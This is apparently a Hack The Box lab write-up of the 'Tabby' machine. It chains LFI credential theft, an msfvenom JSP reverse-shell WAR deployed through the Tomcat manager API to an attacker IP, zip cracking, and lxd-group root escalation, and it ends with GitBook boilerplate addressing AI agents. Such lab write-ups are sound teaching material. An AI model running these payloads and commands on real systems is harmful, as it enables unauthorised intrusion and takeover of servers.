> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-tabby.md). # HTB - Tabby ## Enumeration and Foothold ### NMAP ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 8080/tcp open http Apache Tomcat ``` ### HTTP
Also on port 8080
clicking on news adds a file parameter and leaks the domain name. add it to the hosts.
sending a GET request to the site results in the following message. looking at the file parameter i guess its referring to a file that said i will check if its vulnerable to LFI.
and its vulnerable, LFI confirmed.
looking at the users file results in in OK but no output. after lot of trail and error i found the location of the users file by installing the tomcat9 at `/usr/share/tomcat9/etc/tomcat-users.xml`
accessing the tomcat9 manager application with the creds results in access denied.
i was able to access the host-manager
That 403 on the "Mega Hosting" and "/manager" tabs makes sense your creds have `admin-gui` (which gets you into **Host Manager**, what you're looking at) and `manager-script` (which only works for the **text interface**, not the HTML GUI) You don't have `manager-gui`, so browsing to `/manager/html` will always 403 for this user. ### Tomcat9 Manager Script RCE
skip the browser entirely for deployment and use the **text API** with curl, which is exactly what `manager-script` is for:
access confirmed. that said generate the payload and deploy ```bash ┌──(ajay㉿kali)-[~] └─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.49 LPORT=4444 -f war > shell.war Payload size: 1087 bytes Final size of war file: 1087 bytes ┌──(ajay㉿kali)-[~] └─$ curl -u 'tomcat:$3cureP4s5w0rd123!' \ --upload-file shell.war \ "http://megahosting.htb:8080/manager/text/deploy?path=/shell&update=true" OK - Deployed application at context path [/shell] ``` trigger the shell ```bash ──(ajay㉿kali)-[~] └─$ unzip -l shell.war Archive: shell.war Length Date Time Name --------- ---------- ----- ---- 0 2026-08-23 03:27 WEB-INF/ 260 2026-08-23 03:27 WEB-INF/web.xml 1497 2026-08-23 03:27 idwrsnpts.jsp --------- ------- 1757 3 files ┌──(ajay㉿kali)-[~] └─$ curl "http://megahosting.htb:8080/shell/idwrsnpts.jsp" ``` ## Shell as Tomcat
there is a backup.zip file
the zip file is password protected. transfer the file to attack machine.
password cracked.
nothing interesting in the archive that said i can try password aganist ash. ## Shell as Ash
ash is part of `adm` and `lxd` group ### Privilege Escalation via lxd group Users in the local `lxd` group can escalate privileges to root because the LXD daemon runs with full root privileges and accepts commands from group members without remapping user permissions. {% embed url="" %}
no images found that said i will create one and exploit lxc is not in PATH variable that said i will add it to path ```bash ash@tabby:~$ lxc image list lxc image list lxc image list Command 'lxc' is available in '/snap/bin/lxc' The command could not be located because '/snap/bin' is not included in the PATH environment variable. lxc: command not found ash@tabby:~$ ``` #### Adding to PATH variable ```bash ash@tabby:~$ export PATH=$export PATH=$PATH:/snap/bin export PATH=$PATH:/snap/bin ash@tabby:~$ ``` Build and Alpine image ```bash git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder sudo ./build-alpine ``` transfer the image to victim
```bash ash@tabby:~$ lxc image import ./alpine-*.tar.gz --alias myimage ash@tabby:~$ lxc image lislxc image list lxc image list +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | CONTAINER | 3.11MB | Aug 23, 2026 at 3:56am (UTC) | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ ``` create storage pool ```bash ash@tabby:~$ lxc storage crealxc storage create default dir lxc storage create default dir Storage pool default created ash@tabby:~$ lxc profile dlxc profile device add default root disk path=/ pool=default lxc profile device add default root disk path=/ pool=default Device root added to default ash@tabby:~$ ``` ```bash ash@tabby:~$ lxc init myimagelxc init myimage privesc -c security.privileged=true lxc init myimage privesc -c security.privileged=true Creating privesc The instance you are starting doesn't have any network attached to it. To create a new network, use: lxc network create To attach a network to an instance, use: lxc network attach ash@tabby:~$ lxc config delxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true Device host-root added to privesc ash@tabby:~$ lxc start privesc lxc start privesc ash@tabby:~$ lxc exec privlxc exec privesc /bin/sh ``` ## Shell as Root
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-tabby.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.